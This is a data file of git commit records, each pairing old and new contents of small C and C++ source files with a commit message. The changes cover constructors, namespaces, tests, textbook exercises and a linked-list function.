{"commit":"b40fdbd9d35757b0a5d0b4e69033d8daa9c15d0e","old_file":"inputGen\/include\/types.h","new_file":"inputGen\/include\/types.h","old_contents":"#ifndef TYPES_H\n#define TYPES_H\n\n#include \"primitive.h\"\n\n#include <vector>\n#include \"eigen3\/Eigen\/StdVector\"\n\nnamespace InputGen{\nnamespace Application{\ntypedef double Scalar;\ntypedef typename InputGen::LinearPrimitive<InputGen::Application::Scalar> Primitive;\n\n\n\/\/! \\brief sample storing a position and its assignment\nstruct Sample: public Primitive::vec{\n    typedef Primitive::vec Base;\n    typedef Base::Scalar Scalar;\n    int primitiveId;\n\n    inline Sample(): Base(), primitiveId(-1) {}\n    template <class Derived>\n    inline Sample(const Derived&v): Base(v), primitiveId(-1) {}\n    inline Sample(const Scalar&x,\n                  const Scalar&y,\n                  const Scalar&z): Base(x,y,z), primitiveId(-1) {}\n};\n\ntypedef std::vector<Sample,\n                    Eigen::aligned_allocator<Sample> > PointSet;\n}\n}\n\n#endif \/\/ TYPES_H\n","new_contents":"#ifndef TYPES_H\n#define TYPES_H\n\n#include \"primitive.h\"\n\n#include <vector>\n#include \"eigen3\/Eigen\/StdVector\"\n\nnamespace InputGen{\nnamespace Application{\ntypedef double Scalar;\ntypedef typename InputGen::LinearPrimitive<InputGen::Application::Scalar> Primitive;\n\n\n\/\/! \\brief sample storing a position and its assignment\nstruct Sample: public Primitive::vec{\n    typedef Primitive::vec Base;\n    typedef Base::Scalar Scalar;\n    int primitiveId;\n\n    inline Sample(int id = -1): Base(), primitiveId(id) {}\n    template <class Derived>\n    inline Sample(const Derived&v, int id = -1): Base(v), primitiveId(id) {}\n    inline Sample(const Scalar&x,\n                  const Scalar&y,\n                  const Scalar&z,\n                  int id = -1): Base(x,y,z), primitiveId(id) {}\n};\n\ntypedef std::vector<Sample,\n                    Eigen::aligned_allocator<Sample> > PointSet;\n}\n}\n\n#endif \/\/ TYPES_H\n","subject":"Add new optionnal constructor parameter to set Sample::primitiveId at construction time","message":"Add new optionnal constructor parameter to set Sample::primitiveId at construction time\n","lang":"C","license":"apache-2.0","repos":"amonszpart\/globOpt,NUAAXXY\/globOpt,NUAAXXY\/globOpt,NUAAXXY\/globOpt,amonszpart\/globOpt,amonszpart\/globOpt,amonszpart\/globOpt,amonszpart\/globOpt,NUAAXXY\/globOpt,NUAAXXY\/globOpt,amonszpart\/globOpt,NUAAXXY\/globOpt"}
{"commit":"2ffb003a00726ad2bdd0a666f08fb6ed743f5b08","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic boost::variant<bool, SerializedTask> get(TaskId);\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& getInstance();\n\tbool isServing = false;\n\tstd::deque<IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic boost::variant<bool, SerializedTask> get(TaskId);\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& getInstance();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Update reference to IOperation to include Internal namespace","message":"Update reference to IOperation to include Internal namespace\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"62936e61678612ea163ba012e05700552aa07124","old_file":"src\/exercise204.c","new_file":"src\/exercise204.c","old_contents":"","new_contents":"\/*\n * A solution to Exercise 2-4 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid squeeze(char [], char *);\n\nint main(void)\n{\n  char test_string[] = \"Kumquat!\";\n  squeeze(test_string, \"Squat.\");\n  printf(\"%s\\n\", test_string);\n  return EXIT_SUCCESS;\n}\n\nvoid squeeze(char string_one[], char *string_two)\n{\n  int32_t i, j, k;\n  bool in_string_two = false;\n  for (i = k = 0; string_one[i] != '\\0'; i++) {\n    in_string_two = false;\n    for (j = 0; (string_two[j] != '\\0') && (in_string_two == false); j++) {\n      in_string_two = (string_one[i] == string_two[j]);\n    }\n    if (in_string_two == false) {\n      string_one[k++] = string_one[i];\n    }\n  }\n  string_one[k] = '\\0';\n}\n","subject":"Add solution to Exercise 2-4.","message":"Add solution to Exercise 2-4.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"e341885c0d4b93b95f446ab4440459125404e75d","old_file":"src\/virtual_secondary\/virtualsecondary.h","new_file":"src\/virtual_secondary\/virtualsecondary.h","old_contents":"#ifndef PRIMARY_VIRTUALSECONDARY_H_\n#define PRIMARY_VIRTUALSECONDARY_H_\n\n#include <string>\n\n#include \"libaktualizr\/types.h\"\n#include \"managedsecondary.h\"\n\nnamespace Primary {\n\nclass VirtualSecondaryConfig : public ManagedSecondaryConfig {\n public:\n  VirtualSecondaryConfig() : ManagedSecondaryConfig(Type) {}\n  VirtualSecondaryConfig(const Json::Value& json_config);\n\n  static std::vector<VirtualSecondaryConfig> create_from_file(const boost::filesystem::path& file_full_path);\n  void dump(const boost::filesystem::path& file_full_path) const;\n\n public:\n  static const char* const Type;\n};\n\nclass VirtualSecondary : public ManagedSecondary {\n public:\n  explicit VirtualSecondary(Primary::VirtualSecondaryConfig sconfig_in);\n  ~VirtualSecondary() override = default;\n\n  std::string Type() const override { return VirtualSecondaryConfig::Type; }\n  data::InstallationResult putMetadata(const Uptane::Target& target) override;\n  data::InstallationResult putRoot(const std::string& root, bool director) override;\n  data::InstallationResult sendFirmware(const Uptane::Target& target) override;\n  data::InstallationResult install(const Uptane::Target& target) override;\n\n  bool ping() const override { return true; }\n};\n\n}  \/\/ namespace Primary\n\n#endif  \/\/ PRIMARY_VIRTUALSECONDARY_H_\n","new_contents":"#ifndef PRIMARY_VIRTUALSECONDARY_H_\n#define PRIMARY_VIRTUALSECONDARY_H_\n\n#include <string>\n\n#include \"libaktualizr\/types.h\"\n#include \"managedsecondary.h\"\n\nnamespace Primary {\n\nclass VirtualSecondaryConfig : public ManagedSecondaryConfig {\n public:\n  VirtualSecondaryConfig() : ManagedSecondaryConfig(Type) {}\n  explicit VirtualSecondaryConfig(const Json::Value& json_config);\n\n  static std::vector<VirtualSecondaryConfig> create_from_file(const boost::filesystem::path& file_full_path);\n  void dump(const boost::filesystem::path& file_full_path) const;\n\n public:\n  static const char* const Type;\n};\n\nclass VirtualSecondary : public ManagedSecondary {\n public:\n  explicit VirtualSecondary(Primary::VirtualSecondaryConfig sconfig_in);\n  ~VirtualSecondary() override = default;\n\n  std::string Type() const override { return VirtualSecondaryConfig::Type; }\n  data::InstallationResult putMetadata(const Uptane::Target& target) override;\n  data::InstallationResult putRoot(const std::string& root, bool director) override;\n  data::InstallationResult sendFirmware(const Uptane::Target& target) override;\n  data::InstallationResult install(const Uptane::Target& target) override;\n\n  bool ping() const override { return true; }\n};\n\n}  \/\/ namespace Primary\n\n#endif  \/\/ PRIMARY_VIRTUALSECONDARY_H_\n","subject":"Add 'explicit' keyword to single argument ctor","message":"Add 'explicit' keyword to single argument ctor\n\nAvoid a potential implicit Json::Value -> VirtualSecondaryConfig conversion.\n\nSigned-off-by: Phil Wise <e888d2bd6f13f82caa51a37c03d034c76f661ba3@phil-wise.com>\n","lang":"C","license":"mpl-2.0","repos":"advancedtelematic\/aktualizr,advancedtelematic\/aktualizr,advancedtelematic\/aktualizr,advancedtelematic\/aktualizr"}
{"commit":"a796fa547fc85f48d761cf3181887c5188ebe148","old_file":"test\/FrontendC\/2011-03-18-StructReturn.c","new_file":"test\/FrontendC\/2011-03-18-StructReturn.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -O0 -o - | FileCheck %s\n\/\/ REQUIRES: disabled\n\/\/ Radar 9156771\ntypedef struct RGBColor {\n  unsigned short red;\n  unsigned short green;\n  unsigned short blue;\n} RGBColor;\n\nRGBColor func();\n\nRGBColor X;\nvoid foo() {\n\/\/CHECK: store i48\n  X = func();\n}\n\n\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -O0 -o - | FileCheck %s\n\/\/ XTARGET: x86_64-apple-darwin\n\/\/ Radar 9156771\ntypedef struct RGBColor {\n  unsigned short red;\n  unsigned short green;\n  unsigned short blue;\n} RGBColor;\n\nRGBColor func();\n\nRGBColor X;\nvoid foo() {\n\/\/CHECK: store i48\n  X = func();\n}\n\n\n","subject":"Enable this test only for Darwin.","message":"Enable this test only for Darwin.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@128017 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"b1e64a75d7a0738230326d4e4f0cd5c43be8dd81","old_file":"c\/show_stored_address.c","new_file":"c\/show_stored_address.c","old_contents":"","new_contents":"\/**\n * How to run\n *   $ gcc -o show_stored_address show_stored_address.c\n *   $ .\/show_stored_address\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nchar global_str[] = \"global string\";\nstatic char static_global_str[] = \"static global string\";\n\nvoid show_stored_address()\n{\n\tchar local_str[] = \"local string\";\n\tstatic char static_local_str[] = \"static local string\";\n\tchar *malloc_str = NULL;\n\n\tmalloc_str = (char *) malloc(32);\n\tif (malloc_str) {\n\t\tsprintf(malloc_str, \"%s\", \"malloc string\");\n\t}\n\n\tprintf(\"%p: %s \\n\", local_str, local_str);\n\tprintf(\"%p: %s \\n\", static_local_str, static_local_str);\n\n\tprintf(\"%p: %s \\n\", global_str, global_str);\n\tprintf(\"%p: %s \\n\", static_global_str, static_global_str);\n\n\tprintf(\"%p: %s \\n\", malloc_str, malloc_str);\n\tprintf(\"%p: %s \\n\", \"literal string\", \"literal string\");\n}\n\n\nint main(int argc, char *argv[])\n{\n\tprintf(\"Hello, world!\\n\");\n\tshow_stored_address();\n\treturn 0;\n}\n\n\/*\nConsole output:\n\n$ gcc -o show_stored_address show_stored_address.c\n$ .\/show_stored_address\n$ .\/show_stored_address\nHello, world!\n0xffffcbbb: local string\n0x100402040: static local string\n0x100402010: global string\n0x100402020: static global string\n0x600000440: malloc string\n0x100403009: literal string\n\nThe variables are stored in one of stack, static(data segment) or heap regions\n\n*\/\n","subject":"Test where the variables are stored in memory","message":"Test where the variables are stored in memory\n","lang":"C","license":"mit","repos":"forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world,forte916\/hello_world"}
{"commit":"193b0544566e6d3e123bf7e303c9d0c87bdd83cb","old_file":"HTMLAttributedString\/HTMLAttributedString.h","new_file":"HTMLAttributedString\/HTMLAttributedString.h","old_contents":"\/\/\n\/\/  HTMLAttributedString.h\n\/\/  HTMLAttributedStringExample\n\/\/\n\/\/  Created by Mohammed Islam on 3\/31\/14.\n\/\/  Copyright (c) 2014 KSI Technology. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HTMLAttributedString : NSObject\n{\n\tNSMutableArray *_cssAttributes;\n\tNSString *_bodyFontCss;\n}\n\n- (id)initWithText:(NSString *)text withBodyFont:(UIFont *)font;\n+ (NSAttributedString *)stringWithText:(NSString *)text andBodyFont:(UIFont *)font;\n\n@property (nonatomic, readonly) NSArray *cssAttributes;\n@property (nonatomic, readonly) NSAttributedString *attributedText;\n@property (nonatomic, readonly) NSString *text;\n@property (nonatomic, strong) UIFont *bodyFont;\n\n- (void)addCssAttribute:(NSString *)cssAttribute;\n- (void)removeCssAttribute:(NSString *)cssAttribute;\n- (void)clear;\n\n@end\n","new_contents":"\/\/\n\/\/  HTMLAttributedString.h\n\/\/  HTMLAttributedStringExample\n\/\/\n\/\/  Created by Mohammed Islam on 3\/31\/14.\n\/\/  Copyright (c) 2014 KSI Technology. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HTMLAttributedString : NSObject\n{\n\tNSMutableArray *_cssAttributes;\n\tNSString *_bodyFontCss;\n}\n\n- (id)initWithText:(NSString *)text withBodyFont:(UIFont *)font;\n+ (NSAttributedString *)stringWithText:(NSString *)text andBodyFont:(UIFont *)font;\n\n@property (nonatomic, readonly) NSArray *cssAttributes;\n@property (nonatomic, readonly) NSAttributedString *attributedText;\n@property (nonatomic, strong) NSString *text;\n@property (nonatomic, strong) UIFont *bodyFont;\n\n- (void)addCssAttribute:(NSString *)cssAttribute;\n- (void)removeCssAttribute:(NSString *)cssAttribute;\n- (void)clear;\n\n@end\n","subject":"Allow text to be edited","message":"Allow text to be edited\n","lang":"C","license":"unlicense","repos":"mmislam101\/HTMLAttributedString,yichizhang\/HTMLAttributedString"}
{"commit":"5fd855c6987b30989bb07c455708c4b6cb90cf02","old_file":"doc\/examples\/08_segv\/mytest.c","new_file":"doc\/examples\/08_segv\/mytest.c","old_contents":"\/*\n * Copyright 2011-2013 Gregory Banks\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <np.h>\n#include <stdio.h>\n\nstatic void test_segv(void)\n{\n    fprintf(stderr, \"About to do follow a NULL pointer\\n\");\n    *(char *)0 = 0;\n}\n\n","new_contents":"\/*\n * Copyright 2011-2013 Gregory Banks\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <np.h>\n#include <stdio.h>\n\nstatic void test_segv(void)\n{\n    fprintf(stderr, \"About to follow a NULL pointer\\n\");\n    *(char *)0 = 0;\n}\n\n","subject":"Fix grammar bug in example","message":"Fix grammar bug in example\n","lang":"C","license":"apache-2.0","repos":"loom-project\/novaprova,loom-project\/novaprova,gnb\/novaprova,greig-hamilton\/novaprova,greig-hamilton\/novaprova,loom-project\/novaprova,novaprova\/novaprova,loom-project\/novaprova,greig-hamilton\/novaprova,greig-hamilton\/novaprova,gnb\/novaprova,gnb\/novaprova,greig-hamilton\/novaprova,gnb\/novaprova,novaprova\/novaprova,novaprova\/novaprova,gnb\/novaprova,novaprova\/novaprova,novaprova\/novaprova"}
{"commit":"9d15a19c5fdc4c3c9c341d7bfa506e34c36d2236","old_file":"tests\/regression\/36-octapron\/21-traces-cluster-based.c","new_file":"tests\/regression\/36-octapron\/21-traces-cluster-based.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron --sets exp.solver.td3.side_widen cycle_self\n\/\/ requires cycle_self to pass\n#include <pthread.h>\n#include <assert.h>\n\nint g = 42;\nint h = 42;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x; \/\/ rand\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x - 17;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  h = x;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_unlock(&B);\n  return NULL;\n}\n\nvoid *t2_fun(void *arg) {\n  int x, y;\n  pthread_mutex_lock(&A);\n  x = g;\n  y = h;\n  pthread_mutex_unlock(&A);\n  assert(y <= x); \/\/ requires cycle_self\n  return NULL;\n}\n\nvoid *t3_fun(void *arg) {\n  int x, y;\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&A);\n  x = g;\n  y = h;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_unlock(&B);\n  assert(y == x);\n  return NULL;\n}\n\nint main(void) {\n  int x, y;\n\n  pthread_t id, id2, id3;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t2_fun, NULL);\n  pthread_create(&id3, NULL, t3_fun, NULL);\n\n  \/\/ thread 4\n  pthread_mutex_lock(&A);\n  x = g;\n  y = h;\n  pthread_mutex_lock(&B);\n  assert(y == x);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  assert(y == x);\n  return 0;\n}\n","subject":"Add relational traces cluster-based example","message":"Add relational traces cluster-based example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"e72748b18f797c9474178f11bb3d5783fa39cde2","old_file":"Demo\/ARM7_LPC2368_Eclipse\/RTOSDemo\/webserver\/EMAC_ISR.c","new_file":"Demo\/ARM7_LPC2368_Eclipse\/RTOSDemo\/webserver\/EMAC_ISR.c","old_contents":"#include \"FreeRTOS.h\"\r\n#include \"Semphr.h\"\r\n#include \"task.h\"\r\n\r\n\/* The interrupt entry point. *\/\r\nvoid vEMAC_ISR_Wrapper( void ) __attribute__((naked));\r\n\r\n\/* The handler that does the actual work. *\/\r\nvoid vEMAC_ISR_Handler( void );\r\n\r\nextern xSemaphoreHandle xEMACSemaphore;\r\n\r\n\r\nvoid vEMAC_ISR_Handler( void )\r\n{\r\nportBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;\r\n\r\n    \/* Clear the interrupt. *\/\r\n    MAC_INTCLEAR = 0xffff;\r\n    VICVectAddr = 0;\r\n\r\n    \/* Ensure the uIP task is not blocked as data has arrived. *\/\r\n    xSemaphoreGiveFromISR( xEMACSemaphore, &xHigherPriorityTaskWoken );\r\n\r\n\tif( xHigherPriorityTaskWoken )\r\n    {\r\n    \t\/* Giving the semaphore woke a task. *\/\r\n        portYIELD_FROM_ISR();\r\n    }\r\n}\r\n\/*-----------------------------------------------------------*\/\r\n\r\nvoid vEMAC_ISR_Wrapper( void )\r\n{\r\n\t\/* Save the context of the interrupted task. *\/\r\n    portSAVE_CONTEXT();\r\n    \r\n    \/* Call the handler.  This must be a separate function unless you can\r\n    guarantee that no stack will be used. *\/\r\n    vEMAC_ISR_Handler();\r\n    \r\n    \/* Restore the context of whichever task is going to run next. *\/\r\n    portRESTORE_CONTEXT();\r\n}\r\n\r\n","new_contents":"#include \"FreeRTOS.h\"\r\n#include \"semphr.h\"\r\n#include \"task.h\"\r\n\r\n\/* The interrupt entry point. *\/\r\nvoid vEMAC_ISR_Wrapper( void ) __attribute__((naked));\r\n\r\n\/* The handler that does the actual work. *\/\r\nvoid vEMAC_ISR_Handler( void );\r\n\r\nextern xSemaphoreHandle xEMACSemaphore;\r\n\r\n\r\nvoid vEMAC_ISR_Handler( void )\r\n{\r\nportBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;\r\n\r\n    \/* Clear the interrupt. *\/\r\n    MAC_INTCLEAR = 0xffff;\r\n    VICVectAddr = 0;\r\n\r\n    \/* Ensure the uIP task is not blocked as data has arrived. *\/\r\n    xSemaphoreGiveFromISR( xEMACSemaphore, &xHigherPriorityTaskWoken );\r\n\r\n\tif( xHigherPriorityTaskWoken )\r\n    {\r\n    \t\/* Giving the semaphore woke a task. *\/\r\n        portYIELD_FROM_ISR();\r\n    }\r\n}\r\n\/*-----------------------------------------------------------*\/\r\n\r\nvoid vEMAC_ISR_Wrapper( void )\r\n{\r\n\t\/* Save the context of the interrupted task. *\/\r\n    portSAVE_CONTEXT();\r\n    \r\n    \/* Call the handler.  This must be a separate function unless you can\r\n    guarantee that no stack will be used. *\/\r\n    vEMAC_ISR_Handler();\r\n    \r\n    \/* Restore the context of whichever task is going to run next. *\/\r\n    portRESTORE_CONTEXT();\r\n}\r\n\r\n","subject":"Correct case of include file to build on Linux.","message":"Correct case of include file to build on Linux.\n","lang":"C","license":"mit","repos":"FreeRTOS\/FreeRTOS-Kernel,FreeRTOS\/FreeRTOS-Kernel"}
{"commit":"6d0c9b749aad4a1801783d4a170542139792ebdd","old_file":"src\/alloc.h","new_file":"src\/alloc.h","old_contents":"#ifndef MCLISP_ALLOC_H_\n#define MCLISP_ALLOC_H_\n\n#include <array>\n#include <cstddef>\n#include <list>\n\n#include \"cons.h\"\n\nnamespace mclisp\n{\n\nclass ConsAllocator\n{\npublic:\n  typedef std::size_t size_type;\n\n  ConsAllocator();\n  ConsCell* Allocate();\n  std::list<ConsCell*> Allocate(size_type n);\n  void Deallocate(ConsCell* p);\n\n  inline size_type max_size() const { return free_list_.size(); }\n  inline const ConsCell* oob_pointer() const { return &heap_.front() - 1; }\n  static constexpr size_type max_heap_size() { return kMaxHeapSize; }\n\nprivate:\n  static constexpr size_type kMaxHeapSize = 1500;\n\n  std::list<ConsCell*> free_list_;\n  std::array<ConsCell, kMaxHeapSize> heap_;\n};\n\nnamespace Alloc\n{\n\nvoid Init();\nvoid Shutdown();\nconst mclisp::ConsCell* AtomMagic();\nmclisp::ConsCell* Allocate();\n\n} \/\/ namespace Alloc\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_ALLOC_H_\n","new_contents":"#ifndef MCLISP_ALLOC_H_\n#define MCLISP_ALLOC_H_\n\n#include <array>\n#include <cstddef>\n#include <list>\n\n#include \"cons.h\"\n\nnamespace mclisp\n{\n\nclass ConsAllocator\n{\npublic:\n  typedef std::size_t size_type;\n\n  ConsAllocator();\n  ConsCell* Allocate();\n  std::list<ConsCell*> Allocate(size_type n);\n  void Deallocate(ConsCell* p);\n\n  inline size_type max_size() const { return free_list_.size(); }\n  inline const ConsCell* oob_pointer() const { return &heap_.front() - 1; }\n  static constexpr size_type max_heap_size() { return kMaxHeapSize; }\n\nprivate:\n  static constexpr size_type kMaxHeapSize = 15000;\n\n  std::list<ConsCell*> free_list_;\n  std::array<ConsCell, kMaxHeapSize> heap_;\n};\n\nnamespace Alloc\n{\n\nvoid Init();\nvoid Shutdown();\nconst mclisp::ConsCell* AtomMagic();\nmclisp::ConsCell* Allocate();\n\n} \/\/ namespace Alloc\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_ALLOC_H_\n","subject":"Increase max heap size to 15,000 ConsCells.","message":"Increase max heap size to 15,000 ConsCells.\n\nUnit tests were running out of heap, due to GC not being implemented\nyet. Also, 15,000 is the value mentioned by McCarthy in the paper.\n","lang":"C","license":"mit","repos":"appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp"}
{"commit":"c567c3de9d697c332bdb934204cd2bbd79810312","old_file":"c\/anagram.c","new_file":"c\/anagram.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"list.h\"\n\ntypedef struct _hash_t {\n  int sum;\n  int len;\n} hash_t;\n\nhash_t hash(char word[]) {\n  hash_t ret = {0,0};\n  int i;\n\n  for (i = 0; word[i] != '\\0'; i++) {\n    ret.sum += word[i];\n  }\n  ret.len = i;\n\n  return ret;\n}\n\nint eq(hash_t h1, hash_t h2) {\n  return (h1.sum == h2.sum) && (h1.len == h2.len);\n}\n\nint is_anagram(char w1[], char w2[]) {\n  return eq(hash(w1), hash(w2));\n}\n\nchar** collect_anagrams(char* anagrams[], int len) {\n  char** ret = (char**) malloc(len * sizeof(char));\n  return ret;\n}\n\nint main(int argc, char* argv[]) {\n  char* input[] = {\"lol\", \"llo\"};\n  char* output[2];\n\n  collect_anagrams(input, 2);\n\n  list_t* list = list_new();\n  list = list_append(list, \"lol\");\n  pretty_print(list);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"list.h\"\n\ntypedef struct _hash_t {\n  int sum;\n  int len;\n} hash_t;\n\nhash_t hash(char word[]) {\n  hash_t ret = {0,0};\n  int i;\n\n  for (i = 0; word[i] != '\\0'; i++) {\n    ret.sum += word[i];\n  }\n  ret.len = i;\n\n  return ret;\n}\n\nint eq(hash_t h1, hash_t h2) {\n  return (h1.sum == h2.sum) && (h1.len == h2.len);\n}\n\nint is_anagram(char w1[], char w2[]) {\n  return eq(hash(w1), hash(w2));\n}\n\nchar** collect_anagrams(char* anagrams[], int len) {\n  char** ret = (char**) malloc(len * sizeof(char));\n  return ret;\n}\n\nint main(int argc, char* argv[]) {\n  char* input[] = {\"lol\", \"llo\"};\n  char* output[2];\n\n  collect_anagrams(input, 2);\n\n  list_t* list = list_new();\n  list = list_append(list, \"lol\");\n  list = list_append(list, \"lool\");\n  pretty_print(list);\n}\n","subject":"Check it out with two items!","message":"Check it out with two items!\n","lang":"C","license":"unlicense","repos":"OniOni\/anagram,OniOni\/anagram,OniOni\/anagram"}
{"commit":"b3c45e8ff7d75f4094b6c5ca69b8fd252e6502c8","old_file":"LinkedList\/insert_node_at_nth_position.c","new_file":"LinkedList\/insert_node_at_nth_position.c","old_contents":"","new_contents":"\/*\nInput Format \nYou have to complete the Node* Insert(Node* head, int data, int position) method which takes three arguments - the head of the linked list, the integer to insert and the position at which the integer must be inserted. You should NOT read any input from stdin\/console. position will always be between 0 and the number of the elements in the list (inclusive).\n\nOutput Format \nInsert the new node at the desired position and return the head of the updated linked list. Do NOT print anything to stdout\/console.\n\nSample Input\n\nNULL, data = 3, position = 0 \n3 --> NULL, data = 4, position = 0\n\nSample Output\n\n3 --> NULL\n4 --> 3 --> NULL\nExplanation \n1. we have an empty list and position 0. 3 becomes head. \n2. 4 is added to position 0, hence 4 becomes head.\n\nNote \nFor the purpose of evaluation the list has been initialised with a node with data=2. Ignore it, this is done to avoid printing empty lists while comparing output.\n\n\n*\/\n\n\/*\n  Insert Node at a given position in a linked list \n  head can be NULL \n  First element in the linked list is at position 0\n  Node is defined as \n  struct Node\n  {\n     int data;\n     struct Node *next;\n  }\n*\/\nNode* InsertNth(Node *head, int data, int position)\n{\n    Node* temp = (Node*)malloc(sizeof(Node));\n    temp->data = data;\n    temp->next=NULL;\n    \n    Node* prev;  \n    prev = head;\n    if(position == 0){\n        temp->next=head;\n        head=temp;\n    }\n    else{\n        for(int i =0; i< position-1; i++){\n            if(prev->next!=NULL)\n            prev = prev->next;\n        }\n        \n        temp->next = prev->next;\n        prev->next = temp;\n    }\n    return head;\n}\n","subject":"Add insert node at nth position","message":"Add insert node at nth position\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
